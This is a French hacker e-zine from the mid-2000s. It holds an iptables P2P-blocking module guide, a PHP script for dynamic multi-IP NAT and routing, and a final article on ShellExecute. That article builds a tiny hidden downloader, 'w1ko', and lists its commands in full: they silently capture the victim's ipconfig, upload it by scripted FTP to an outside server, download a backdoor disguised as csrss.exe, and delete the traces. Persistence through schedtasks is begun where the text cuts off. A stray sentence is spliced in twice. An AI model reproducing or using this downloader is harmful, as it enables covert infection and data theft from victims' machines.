///////////////////////////
/-=== 3. Installation ===-/
///////////////////////////

	Lors de la procdure d'installation, nous allons considrer que :
		- Vos  2  cartes  rseaux  sont  dtects  par  le  OS et sont prsentes dans 
                  ifconfig
		- Iptables est fonctionnel et tous les modules necessaires ont t installs
		- Vous tes un sysadmin accompli
		- De  toute  manire, il  y  a un readme dans le fichier fourni et un install 
                  script :P

iptables -F
rmmod ipt_p2p
make clean
make
cp ./iptables/libipt_p2p.so /usr/lib/iptables/
rm -f /lib/modules/2.6.11-rc1/kernel/ipt_p2p.ko
cp ./kernel/ipt_p2p.ko /lib/modules/2.6.11-rc1/kernel/
insmod /lib/modules/2.6.11-rc1/kernel/ipt_p2p.ko


	

////////////////////////////
/-=== 4. Configuration ===-/
////////////////////////////

a. Cration du bridge
	#Cration d'un interface virtuelle
	brctl addbr MSNDevil

	#Assignation des interfaces
	brctl addif eth0
	brctl addif eth1

	#Active l'interface
	ifconfig MSNDevil up
	
	nb. en ne donnant pas de IP a l'interface virtuelle, il sera impossible pour vous  ou 
            quiconque de  se  ployer  sur  cette  machine  a  distance.  Si vous envisagez la 
            possibilit qu'un jour vous ayez  vous ployez  distance, donner lui un IP.

	ps. Copier  ces  lignes  dans /etc/rc.d/rc.local (eh oui, j'utilise slack) pour qu'au 
            dmarrage tout ce reconfigure like a pro.

b. Cration de l'ACL

	Il existe 3 level de sysadmin :
		- Le parano
		- Le normal
		- Le bretteux

	Pour le parano :
		#On block toute les p2p et msn a tlm
		iptables -A FORWARD -m p2p --p2p all -j DROP

	Pour le normal :
		#On n'oubli de ce bloquer
		iptables -A FORWARD -s monipleet -m p2p --p2p all -j ACCEPT
		iptables -A FORWARD -d monipleet -m p2p --p2p all -j ACCEPT
		
		#Personne est cool as yourself anyway ( On drop le reste )
		iptables -A FORWARD -m p2p --p2p all -j DROp

	Pour le bretteux :
		#Gl HF
		#On jou avec le module en fonction des besoins du monde, des hres et des hres 
		#de plaisir fou

	ps. Mettre sa dans /etc/rc.d/rc.firewall pour que qu'au dmarrage tout ce reconfigure

-==					            ==-
-=  Site D'essais : **level 1 clearance required**   =-
-=		Results : Working Good		     =-
-==					     	    ==-

VOILA! 			

(c) Copyright 2005-2006 - Mr_Peuch, InitNull( qui ne sais pas que son nom est dans ce texte)

EOF





  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |                                                            \\_  \_ \   \\_ -  : '
 ||`|<An0n1mUs> peu tu mfaire planter so?                        \_ \   \\_  \_ \ 1   
 || |<An0n1mUs> sam gosse                                          \\_  \_ \   \\_ 1  + 
 || |<An0n1mUs> 66.252.6.15                                        \_ \   \\_  \_ \ 1   
 ||'|<An0n1mUs> jel flood                                            \\_  \_ \   \\_  x 
 || |<An0n1mUs> pi tout sa marche po                                 \_ \   \\_  \_ \  `
 || |<An0n1mUs> yer po plantable                                       \\_  \_ \   \\_  
 ||,|                                                                  \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ #hack.fr un endroit remplit de gentlement fier et dbrouillard        ]=\:\  |
  \__\__________________________________________________________________________________/ 


  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[O7]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ ip route, iptable and I       ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: tourne a gauche, a gauche, A GAUCHE TABARNAC              ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[  Wyzeman     ]=\:\ _//     
                                                  \__\________________________/__/ 

	

	Apres avoir vu notre x refuser pour #code.fr undernet, a cause que par  erreur javais 
joigner le chan avec le meme ip pour mes 2 users, jme suis dit  fuck,  jamais  plus  et je me 
suis atteler a terminer un vieux projet oublier pour des raisons plutot obscure et enboucaner 
par la memoire weedique. Cetais un  projet  de  routing + nat  dynamique  afin  de partager a 
lensemble dun reseau des  ip internet different ( le routing etant necessaire a tout ceux qui 
on pas de switch  et  utilise  des  cartes  reseau  supplmentaire  dans  leur  routeur  pour 
compenser). De plus il sagit dune bonne occasion pour dmontrer qu'on peu facilement utiliser 
php comme puissant langage de script console. 


	Le script qui suit est adapter a toute connection dynamique, mais peu aussi supporter 
sans probleme ny modification linclusion dune ligne physique  stable de type cable combiner a 
plusieur interface ppp dune connection adsl a la  seul  limitation  que la ligne stable devra 
etre utiliser comme interface par default  (jusqu'a  l'amlioration  de  se script.  Pour   y 
arriver, seulement 3 petite etapes seront necessaire

	1) collecte et parsing des ip internet
	2) ajustement des table de nat
	3) ajustement des table de routing (seulement si vous navez pas 
	   de switch/hub).

minimal requirement 
	1) php 4
	2) iproute2
	3) iptables
	4) module nat et masquerading du kernel, 2.4 ou 2.6
	5) ifconfig 


	
etape  1) collect et parsing des ip internet

	la maniere la plus simple consiste a appeller ifconfig a l'aide  de  la commande  php 
shell_exec rediriger dans une variable buffer et  ensuite  d'analyser  se  buffer.  afin   de 
simplifier le contenu a parser, l'utilisation de grep est une bonne idee. 

$bin['ifconfig']="/sbin/ifconfig |grep addr:";
$exeption[1]="192.168.0.1";
$exeption[2]="192.168.1.1";
$exeption[3]="192.168.2.1";
$exeption[4]="127.0.0.1";


	//parsing des ip
	//cette commande retourne dans $ret le resultat de /sbin/ifconfig |grep addr 
        //ce qui fait en sorte que seul les lignes ou apparraisse un addresse ip sont
        //conserver
	@$ret = shell_exec($bin['ifconfig']);
	//on decoupe le tout en mots, afin de rendre possible lanalyse individuel de
        //chacun de ceux ci.
	$word = explode(" ",$ret);
	$z = 0;
	for ($x=0;$x<count($word);$x++)
		{
//		echo $x." ".$word[$x]."\r\n";
		//la petite gymnastique qui suit sert a separer les ip de "addr:" 
                //de leur format originel "addr:192.168.1.1" et sert aussi de
		//trigger a savoir si on a un ip ou pas (si le mots present est addr:
		//le mots suivant est un ip)
		$addr = explode(":",$word[$x]);
		for ($y=0;$y<count($addr);$y++)
			{
			if ($addr[$y] == "addr")
				{
				$nbr = $y;
				$nbr++;
				//echo $addr[$nbr]."with".array_search($addr[$nbr],$exeption)."\n";
				//ici on recherche tout squi nest pas dans la liste dexeption. 
				//array_search retourne la location du segment rechercher dans larray
				//sous forme numeric, donc sil ne le trouve pas, le contenu du return
                                //nest pas numeric (et non il ne retourne pas 0 puisque 0 pourrais
                                //etre un identifiant d'array.
				if (!is_numeric(array_search($addr[$nbr],$exeption)))
					{
					//echo $addr[$nbr]."\n";
					$ip[$z]=$addr[$nbr];
					$z++;
					}
				}
			}
		}



	bon, tout ca devrais nous donner un array ($ip) contenant  tout  les  ip  lister  par 
ifconfig  qui ne sont pas defini comme ip local dans larray $exeption. a parti de ces ip nous 
allons  retravailler  les  tables  de  nat  et de routing afin de les rendre compatible a nos 
besoin.

2) ajustement des table de nat

	Comme  se  sujet  a  largement  t  expliquer  dans  un  prcdent article crit par 
init_null je ne mtendrais pas trop sur le sujet, et  me  content  de  vous  dire  le strick 
minimum pour que ca fonctionne. Il faut modifier les  options  PREROUTING  ET POSTROUTING des 
tables nat et attribuer un ip net a un ip local. Lancer a partir dun bash shell cest commende 
prenne les formes  suivante.  Repetez l'operation autant de fois que vous avez de pc a linker 
(les pc non identifier vont prendre par default les  valeurs  du  routeur  (qui  par  default 
utilise la premiere connection internet disponible). 

iptables -t nat -A PREROUTING -d 67.68.123.34 -p TCP --dport 1:65535 -j DNAT --to 192.168.1.200
iptables -t nat -A POSTROUTING -s 192.168.1.200 -p TCP -j SNAT --to 67.68.123.34

	et  pour  satisfaire les autres clients inatendu et leur partager la  connection  par 
default

iptables -t nat -A POSTROUTING -j MASQUERADE


	le probleme qui fait qu'un script est necessaire pour  tout  ca  est  que  la  valeur 
(fictive) du ip net (67.68.123.34, dans lexemple ici), est  une  valeur  dynamique  qui   est 
changer a chaque fois que la connection avec  le  isp  (fai) est demander. la parti #1 sur le 
parsing servait justement a  identifier  ces ip ($ip) que nous devons maintenant attribuer au 
ordi de notre reseau locale ($client).


$bin['iptables']="/sbin/iptables";
//cest variable serve a dfinir les ip de vos 
$client[0]="";
$client[1]="192.168.1.200";
$client[2]="192.168.2.200";

	// reset du routing nat
	// comme on veut faire ca simple on sassure de reseter les regles de nat avant dajouter les nouvelles. 
	shell_exec($bin['iptables']." -t nat -F");
	//recreation du routing nat
	for ($x=$supervariablehot;$x<$z;$x++)
		{
	//	echo $bin['iptables']." -t nat -A PREROUTING -d ".$ip[$x]." -p TCP --dport 1:65535 -j DNAT --to ".$client[$x]."\r\n";
	//	echo $bin['iptables']." -t nat -A POSTROUTING -s ".$client[$x]." -p TCP -j SNAT --to ".$ip[$x]."\r\n";
		@shell_exec($bin['iptables']." -t nat -A PREROUTING -d ".$ip[$x]." -p TCP --dport 1:65535 -j DNAT --to ".$client[$x]);
		@shell_exec($bin['iptables']." -t nat -A POSTROUTING -s ".$client[$x]." -p TCP -j SNAT --to ".$ip[$x]);
		//shell_exec($bin['route']." del default");
		
		}
	shell_exec($bin['iptables']." -t nat -A POSTROUTING -j MASQUERADE");


il ne faudrais pas oublier dajouter dans votre fichier  local  du  processus  init  la  ligne 
suivante, elle authorise le kernel a utiliser les regles de nat contenu dans le firewall.

echo "1" > /proc/sys/net/ipv4/ip_forward



2.1) supplement : support dhcp et ip statique.


	Il est possible de configurer un serveur DHCP de facon a ce que  vos  ip  de  machine 
local soit confirmer par le dit serveur au lieu detre hardcoder dans  chaque  conf et que vos 
ordi conserve toujours le meme ip (cest pratique pour  utiliser  la  variable  $exeptio n  du 
script). on y arrive avec une configuration semblable a celle ci :
	

#pour tout ce qui est inconu utilisant la carte ethernet #1 comme gateway
#on defini un range de ip dans lequel faire un choix, le nom des serveur 
#dns ainsi que le ip du routeur
subnet 192.168.1.0 netmask 255.255.255.0 {
        range 192.168.1.100 192.168.1.254;
        option broadcast-address 192.168.1.255;
        option domain-name-servers 192.168.1.1, 66.201.225.97;
	option routers 192.168.1.1;
}



#pour tout ce qui est inconu utilisant la carte ethernet #2 comme gateway
#meme chose en gros que pour la carte #1
subnet 192.168.2.0 netmask 255.255.255.0 {
        range 192.168.2.100 192.168.2.254;
        option broadcast-address 192.168.2.255;
        option domain-name-servers 192.168.2.1, 66.201.225.97;
        option routers 192.168.2.1;
}


#pour different materiel identifier par la mac addresse, des ip peuvent etre 
#preselectionner et forcer, des host peuvent etre utiliser, mais si vous en 
#utiliser des moindrements bizard votre serveur dns doit etre selectionner 
#comme #1 dans le fichier /etc/resolv.conf avant ceux donner par votre isp
host laptop {
        hardware ethernet 00:02:3F:6A:00:D6;
        fixed-address Spoutnik.wyzeman.mkd;
#       fixed-address 192.168.2.2;
        option routers 192.168.2.1;
}

host tower {
        hardware ethernet 00:0A:E6:8A:4B:4C;
        fixed-address Playstation.wyzeman.mkd;
        option routers 192.168.1.1;
}



2.2)forcer le service locale comme dns par default


dans  le  fichier  rc.local ( ou  sont  equivalent (/etc/conf.d/local.start sous  gentoo  par 
exemple)). ajouter les lignes suivante :


echo "nameserver 192.168.1.1" > /etc/antiresolv.conf
cat /etc/resolv.conf >> /etc/antiresolv.conf
mv /etc/antiresolv.conf /etc/resolv.conf


elle permettre de forcer la machine locale comme premier serveur dns tout en  conservant ceux 
donner  par  default  a  votre  machine  lors  du processus initial (noter que si vous lancer 
pppoe-start apres, ca va annuler leffet de ce "patch")


3) ajustement des table de routing



 	Il ne reste plus qu"une seul etape  accomplir avant datteindre notre but.  Celle  de 
dynamiser les tables de routing. Noter que cette etape est nescessaire   uniquement  si  vous 
utilisez plusieur carte reseau au lieu dun switch (puisque  celle-ci doivent etre sur un sous 
rseau different les un des autres. (192.168.1.1 ,  192.168.2.1, etc) (notez que vous  pouvez 
recreer un peu le meme environement en  creant  des  interfaces virtuel (eth0:0 eth0:1, etc). 
Vous devez a prime abord creer  2  nouvelle table dans le fichier conf de route. (cette etape 
na besoin que detre  faite  une  fois,  alors  elle na pas ete integrer a ce script (pour une 
version + complete voir un affaire de script++ plus loin dans ce ezine).



Un coup cest table creer, pour les rendres fonctionnel, elle doivent etre equiper d'un set de 
rules, 2 en particulier, une qui definira  la  connection par default a utiliser pour tout ce 
qui sera referer a cette table  par  la creation de la 2eme rulez qui elle sert de "catcher". 
Dans mon exemple  jai  creer  2  table  soit  PPP1  et  PPP2  qui represente respectivement 2 
interface adsl du meme nom. Si je tapais c ligne a la main ca ressemblerais a ceci:



ip route add default via 67.68.123.34 dev ppp1 table PPP1
ip route add from 192.168.1.200 table PPP1


la 2eme rule envoyant tout ce qui vient de 192.168.1.200 a la table PPP1 qui elle stipule que 
toute requete passant par elle doit utiliser la sorti net 67.68.123.34  sauf  sous indication 
contraire. repetez la meme procedure pour  tout  les interfaces que vous desirez linker a une 
machine en particulier.



$bin['route']="/sbin/ip route";
$bin['rule']="/sbin/ip rule";

//represente ici le nom des tables que vous desirer donner pour les differentes rules
//que vous allez creer. Pour le premier rien nest nescessaire puisque la rules par
//default (route add default gw ip), va fonctionner, et cette rulez est creer par 
//adsl-connect
$route[0]="";
$route[1]="PPP1";
$route[2]="PPP2";

$client[0]="";
$client[1]="192.168.1.200";
$client[2]="192.168.2.200";



	for ($x=$supervariablehot;$x<$z;$x++)
		{
		@shell_exec($bin['route']. " flush table ".$route[$x]);
		@shell_exec($bin['rule']." del from ".$client[$x]." table ".$route[$x]);
		@shell_exec($bin['route']." add default via ".$ip[$x]." dev ppp".$x." table ".$route[$x]);
		@shell_exec($bin['rule']." add from ".$client[$x]." table ".$route[$x]);
		}


	Nous voici donc avec un script utilisable qui permet  de  sharer  entre  plusieur  pc 
local plusieur ip web different. Etant donn que  les  avantages  d'une  telle  configuration 
parle deux memes, je ne vois pas le besoin de  mtendre  sur les raisons  pour  lesquel  vous 
devriez utiliser linformation expliqu dans cette article.  Je  me  contenterais donc de vous 
souhaiter  un heureux routing. 

voici le code dans sont integraliter :


<?PHP
//then wyzeman create this mini world
set_time_limit(0);

//path des executables (la solution la plus simple
//pour ouvrir une porte est de tourner la poigner)
$bin['ifconfig']="/sbin/ifconfig |grep addr:";
$bin['iptables']="/sbin/iptables";
$bin['route']="/sbin/ip route";
$bin['rule']="/sbin/ip rule";
//ip des amis sur le reseau, fuck les guess 
//i sont masquerade plus loin anyway
//si vous etes en dhcp vous etes assez vieu
//pour lire une mac address (man dhcpd)
$client[0]="";
$client[1]="192.168.1.200";
$client[2]="192.168.2.200";
//nom des tables de routing (le main est reecrit par rp-pppoe btw)
$route[0]="";
$route[1]="PPP1";
$route[2]="PPP2";
//liste des ip qui ne sont pas a router
//genre les ip des cartes reseau du routeur
//et le local loop bret cossin
$exeption[1]="192.168.0.1";
$exeption[2]="192.168.1.1";
$exeption[3]="192.168.2.1";
$exeption[4]="127.0.0.1";
//PS : la valeur represenant la carte linker au HSE sont "bidon",
//vu que aussi bien utiliser le main default routing pour le routeur 
//lui meme. dans mon cas c eth0 alors $client[0] et $route[0] ne
//sont pas pris en compte si la variable suivante est a 1 (donc,
//vous pouvez nater aussi le ppp0 et le partager avec un autre ordi
//(oublier pas que le masquerade utilse aussi le ppp0)) !
$supervariablehot =1;
//PSS : linverse est aussi vrai pour reserver un pool de ip ppp pour 
//votre routeur ou un autre reseau.

while(1)
	{
	//parsing des ip
	@$ret = shell_exec($bin['ifconfig']);
	$word = explode(" ",$ret);
	$z = 0;
	for ($x=0;$x<count($word);$x++)
		{
//		echo $x." ".$word[$x]."\r\n";
		$addr = explode(":",$word[$x]);
		for ($y=0;$y<count($addr);$y++)
			{
			if ($addr[$y] == "addr")
				{
				$nbr = $y;
				$nbr++;
				//echo $addr[$nbr]."with".array_search($addr[$nbr],$exeption)."\n";
				if (!is_numeric(array_search($addr[$nbr],$exeption)))
					{
					//echo $addr[$nbr]."\n";
					$ip[$z]=$addr[$nbr];
					$z++;
					}
				}
			}
		}
	// reset du routing nat
	shell_exec($bin['iptables']." -t nat -F");
	//recreation du routing nat
	for ($x=$supervariablehot;$x<$z;$x++)
		{
	//	echo $bin['iptables']." -t nat -A PREROUTING -d ".$ip[$x]." -p TCP --dport 1:65535 -j DNAT --to ".$client[$x]."\r\n";
	//	echo $bin['iptables']." -t nat -A POSTROUTING -s ".$client[$x]." -p TCP -j SNAT --to ".$ip[$x]."\r\n";
		@shell_exec($bin['iptables']." -t nat -A PREROUTING -d ".$ip[$x]." -p TCP --dport 1:65535 -j DNAT --to ".$client[$x]);
		@shell_exec($bin['iptables']." -t nat -A POSTROUTING -s ".$client[$x]." -p TCP -j SNAT --to ".$ip[$x]);
		//shell_exec($bin['route']." del default");
		
		}
	//criss de cossin poche pour ip route
	for ($x=$supervariablehot;$x<$z;$x++)
		{
		@shell_exec($bin['route']. " flush table ".$route[$x]);
		@shell_exec($bin['rule']." del from ".$client[$x]." table ".$route[$x]);
		@shell_exec($bin['route']." add default via ".$ip[$x]." dev ppp".$x." table ".$route[$x]);
		@shell_exec($bin['rule']." add from ".$client[$x]." table ".$route[$x]);
		}
	//pi fuck all le reste
	shell_exec($bin['iptables']." -t nat -A POSTROUTING -j MASQUERADE");

	//a ti pipi papa 
	sleep(10);
	}

?>

 


  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  /, `
 \  /   \[:P]/      \_____                                                   ___/    ;
 |\/  '  \__/ . ' ;   |  \____           /:/=[  Info-Pubs  ]=\:\         _____/  x  ` 
 || `  ()            -+-   \____   ________________________   ____ ____   /  ,   . |  ,
 || + .  . ` ; ` : `  | x  ,  :/ _/ , x      ;  '  . .  +  \_ \   \\_ x\_ \      -=+=-
 ||  ____  ____    __     _    // _      '_    ___  ________ \\_` \_ \ _ \\_   .  `| ,
 ||.|                                                        \_ \   \\_  \_ \         `
 || |                                                          \\_  \_ \   \\_ M  ; . X
 || |                                                          \_ \   \\_  \_ \ K      
 || |* eth has joined #hack.fr                                   \\_  \_ \   \\_ -  : '
 ||`|<eth> that site is gay                                      \_ \   \\_  \_ \ 1   
 || |<eth> how can you hack in french ?                            \\_  \_ \   \\_ 1  + 
 || |<eth> lol                                                     \_ \   \\_  \_ \ 1   
 ||'|<XJu|iAX> banner moi ca                                         \\_  \_ \   \\_  x 
 || |<eth> don`t know english ?                                      \_ \   \\_  \_ \  `
 || |<eth> gay french !                                                \\_  \_ \   \\_  
 ||,|* eth has left #hack.fr                                           \_ \   \\_  \_ \.
 || |                                                                    \\_  \_ \  _\\_  
/ | |                                                                    \_ \   \\_/    \
 / ;|                                                                      \\_  \_       |
 /  |__________________  __________   _____     ___     _      _      ___ _\_ \__/       |
 /\_____ ` + . _// ` x ,   ,   `    ; X  `           :      .   -+-  :    ,  \\_/        |
\\_     \_____/  /___________  +  :  .    ,  ` x  ,     " ,   .  `   .   ____\           |
\_ \                        \___________________________________________/                |
  \\_ /:/=[ #hack.fr une place ou on hack en francais, oui oui!                   ]=\:\  |
  \__\__________________________________________________________________________________/ 

  ________________________________________________________________  ____   __   __ 
 /   ___________________________________________________________  ____   __   _  / `
 \  /   \[O8]/ +   ,\_____                                                   ___/ .  `
 |\/   , \__/  .        \____ /:/=[ un affaire de shellexecute    ] =\:\ _____/  `  x
 || ,    .         "   :X  \_______________________________   ____ ____   /    ,  `  `
 ||         +  ,   () .         x  , .           `   '   ` \_ \  ,\\_ +\_ \ 'M  ` |  .
 ||   ` |  `       ,      `   ,         +  ,  ` ,--,   +   . \\_  \_ \ , \\_  K  -+-   
/ |+   -+-    .        ,       `      ,       ,',/ ,'.       \_ \ . \\_  \_ \  -  |   `
 /    . |  ;     +         +  .   `   | :  .  :`` ,_):   '   ` \\_  \_ \   \\_` 1   ,  
 / ` .      .        x          ,  .-=+=-     `. ,. ,'  ` ,    \_ \ + \\_` \_ \  1
 /\_____  x    ' ,      . . X         |   `     `--'  `      `   \\_  \_ \ , \\_  1 +
\\_     \___________________ ,  .  .  ` ,  +  '   ,    , ; x   ._\  \___\\___\  \ .   
\_ \                        \__________________________________/                 \  ` ,
  \\_ /:/=[ Aka: fun with shellexecute                                     ]=\:\  \    
  \__\__________________________________________   ______________________________  \`  
                                                \__\                            /__/   
                                                  \\_ /:/=[    waxaw     ]=\:\ _//     
                                                  \__\________________________/__/ 



L'article qui suis se veut une introduction  la fonction ShellExecute et  certaine commande  
DOS. La  fonction  ShellExecute est disons trs utile  car  elle  nous  permet  d'xcuter un  
programme    partir du notre. Par exemple lorsque l'on dmarre notre  programme il  pourrait 
ouvrir 1000 notepad. Ce qui est encore plus rigolo avec cette  fonction,  c'est  quelle  nous 
permet d'excuter ces programme en cachant la fentre qui apparait  lorsque  l'on  excute un  
programme. Par exemple ouvrir 1000 notepad invisible... Pour voir s'il sont vraiment  dmarer  
il  suffit de faire ctrl+alt+del pour voir les 1000 notepads. 

C'est ben beau cette fonction mais ou c que j'men sert!
Voici ce dont tu as besoin:
	MS Visual Studio 6.0  et  plus  prcisment VC++ ( Pour la cration de notre 
        programme. )
	FSG 2.0 - bart/xt ou Mew11 SE ( Pour que notre programme soit mini )
	Un compte bidon sur tripod.com pour un FTP gratuit.
	Un bon 5 min  perdre.

===========================================================================

Alors comment  j'utilise cette fameuse fonction? C'est trs simple, vous  n'avez  qu' suivre 
les tapes mousaillons!

1)	Ouvrir VC++ ( MSDEV.EXE )

2)	Cr un nouveau fichier en cliquant sur la  feuille  blanche  toile. (  Que   c'est 
        romantique )
	Copie et colle ceci :
	#include <windows.h>
	void startup()
	{
	SellExecute(NULL, NULL, "notepad.exe", NULL, NULL, SW_SHOWNORMAL);
	}

3)	Fait Ctrl+F7. BANG cat demande de cr un projet dit et rpond oui. 

4)	Ensuite   tu   va   dans l'onglet "Build/Set active configuration" et met ca en Win32 
        Release. Ca va rduire de bcp la taille  du  programme  qui  va etre linker pour cr 
        un exe. 

5)	Fait Alt+F7. Va  dans  l'onglet  C/C++  et  dans  la boite de texte "Project Options" 
        copie et colle ceci : /ML /O1 /Fo"Release/" /c 

6)	Va dans l'onglet et dans la boite de texte "Project Options" copie et  colle ceci :
	shell32.lib /nologo /entry:"startup" /subsystem:windows /incremental:no 
        /pdb:"Release/w1ko.pdb" /machine:I386 	/nodefaultlib /out:"Release/w1ko.exe" 
        /ignore:4078 /merge:.rdata=.text /merge:.data=.text /merge:.reloc=.text 	
        /section:.text,erwx /opt:ref /stub:stub.exe 

7)	Clic OKidou

8)	Tu pse F7 pis BOOM tu vient de cr un beau ti exe de 8 ko.

9)	La  tu  va  dans  le  dossier o ta cr ton projet et ensuite le dossier release. La 
        c'est  ton  exe.  Parce  que  8  ko c'est gros ben packer le avec Mew ou FSG et  vous 
        obtenez un exe de 700 octets.

10)	Maintenant Excuter le :-)

Et oui, notepad ouvre... 

==================================================================


Voici comment la fonction ShellExecute fonctionne:

ShellExecute(NULL, NULL, "notepad.exe", NULL, NULL, SW_SHOWNORMAL);
	          -1-       -2-	-3-	     -4-      -5-                 -6-	

Dbutons avec -1- et -5-, on s'en criss!

-2- Peut etre remplacer par:
	"Open": Pour ouvrir un fichier mais n'est pas ncessaire.
	"Explore": Peut servir  explorer un dossier.
	"Find": Pour faire une recherche dans un dossier.

-3- Le nom du programme    xcuter,  il faut donner le chemin complet et sparer le  chemin 
    avec des \\ pour faire un \.  Par exemple c:\\windows\\system32\\calc.exe.  Les programme 
    qui sont situ dans la  variable  PATH  de Windows n'ont pas besoin  d'avoir leurs chemin 
    spcifi.

-4- Ce   parametre  sert    donner  les  paramtres  que  nous  voulons  excuter avec notre 
    programme. C'est surtout pour les programmes en mode console. Par exemple Ping 127.0.0.1. 
    ceci va donner: ShellExecute(NULL, NULL, "ping.exe", "127.0.0.1", NULL, SW_SHOWNORMAL); 

-5-  Ca  c'est  le  plus  cool  des  paramtres. Il permet de choisir quelle type d'affichage 
     il y aura lorsque le  programme sera excuter. Par exemple maximiser  ou  minimiser,  ou 
     bien tout simplement invisible :-) Lorsque l'on veut mettre des paramtre  qui  requiert  
     des  guillement  (""), il faut changer le " par un \". Exemple  pour  cacher  la fentre 
     faite:
     
     ShellExecute(NULL, NULL, "ping.exe", "127.0.0.1", NULL, SW_HIDE);
      
     Magique non?

pour en savoir plus allez voir:
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/shellcc/platform/shell/reference/functions/shellexecute.asp

========================================================================


Mais  quoi ca sert d'excuter 1000 notepad allez-vous me demandez... lol ben   rien.  C'est 
pourquoi  nous  utiliserons  ShellExecute  pour  nous  faire un beau petit FTP downloader qui 
ouvrira une backdoor. Pour ceux qui aime mieux ouvrir 1000 notepad, et  bien  fait  Alt+F4 et 
allez visiter www.avecsonchien.com. Ce qui est amusant c'est que notre FTP downloader ne fait 
mme 1ko. C'est pourquoi, aprs un gramme  bat  de skunk  fou,  j'ai  dcid  d'appeler notre 
programme w1ko. Tout les  commandes  effectues  par  w1ko  sont  en  DOS.  Hein  WTF?  Ouais  
en  dos  car  le  programme  que la fonction  ShellExecute  executera  sera   cmd.exe avec le 
paramtre /c. Ce parametre dit  cmd.exe d'excuter les commandes dos que nous lui  donnerons 
et puis de se termin. Oui mais  comment  jvais faire pour mettre plusieurs commandes sur une 
mme ligne? Simplement en sparent les commandes par le caractre &.

Pour  avoir une ide plus claire des actions de w1ko, voici les commandes  DOS  qu'il excute 
invisiblement

1) 	Excute ipconfig et met les rsultats dans un fichier nomm   ez%username%.tmp  situ 
        dans le temp. La  variable  %username%  reprsente  l'utilisateur  courant.  Donc  ce 
        fichier a un nom appropri  chaque victime. Ce fichier permetra de savoir  l'adresse 
        IP de la victime.
	
	ipconfig>%tmp%\ez%username%.tmp


2) 	Cration   d'un   fichier   automatis   qui   permetra      FTP.exe  de tlcharger 
        automatiquement notre backdoor. Ce  fichier  contient  le  user/pass du FTP, l'envoie 
        du fichier ez%username%.tmp, le changement  de  rpertoire  pour  le  tlchargement,  
        le  changement  de  type   de   tlchargement  pour  binary,  le  tlchargement  du 
        backdoor  qui  est ici csrss.exe et puis finalement un beau  ti bye bye au FTP.  J'ai 
        choisi  le  nom  csrss.exe  pour la backdoor car  lorsqu'un  programme  est  excuter  
        sous ce nom il ne peut tre arrter avec   "Terminer le processus".  Ce  fichier  est  
        cr dans le dossier temp sous le  nom  de ez1.tmp. En   passent  pour  ceux  qui  se  
        demande  ce  que  signifie  %path:~0,19%   ben  c'est  en  fait  c:\windows\system32.  
        C'a  prend moins de caractres ;-)
	
	echo user le_user_name>%tmp%\ez1.tmp
	echo le_password>>%tmp%\ez1.tmp
	echo put %tmp%\ez%username%.tmp>>%tmp%\ez1.tmp
	echo lcd %path:~0,19%\wins>>%tmp%\ez1.tmp
	echo bin>>%tmp%\ez1.tmp
	echo get csrss.exe>>%tmp%\ez1.tmp
	echo bye>>%tmp%\ez1.tmp

3)	Excution de FTP.exe  qui  suivra  les  commande  de  %tmp%\ez1.tmp  grace au 
        paramtre -s. Le  paramtre -v  supprime  l'affichage des rponses du serveur 
        distant, le  paramtre -i dsactive  l'invite  s'il  y a plusieurs fichiers  
        transfrer puis finalement le pramtre n supprime la connexion automatique au  
        dmarrage.  Il  faut  bien sur spcifier l'adresse IP ou le nom de domaine du 
        serveur FTP. Par exemple ici 209.202.240.80, c'est ftp.tripod.com.
	
	ftp -v -i -n -s:%tmp%\ez1.tmp 209.202.240.80

flash. Cette  technologie a beau tre en constant essort, le nombre de types de "clients" qui 
4)	Puisque    nous    n'avons   plus    besoin   des    fichiers     %tmp%\ez1.tmp    et 
        %tmp%\\ez%username%.tmp, pourquoi ne  pas  les  supprimer  pour effacer nos traces... 
        En  passent  pour  ceux qui n'ont pas compris l'utilit de l'toile  ben acheter vous 
        ms-dos pour les nuls.

	del %tmp%\ez*
flash. Cette  technologie a beau tre en constant essort, le nombre de types de "clients" qui 
5)	Gnan  ben  cpa  1337 ton truc y par mme pas a toute les fois que le h4x0riZ par son 
        compute.  Tout  faux!!!  Grave    notre  ami   schtasks   nous   allons    cr  une 
        merveilleuse tche nomme system, qui  va  excuter  notre  belle  petite  backdoor  
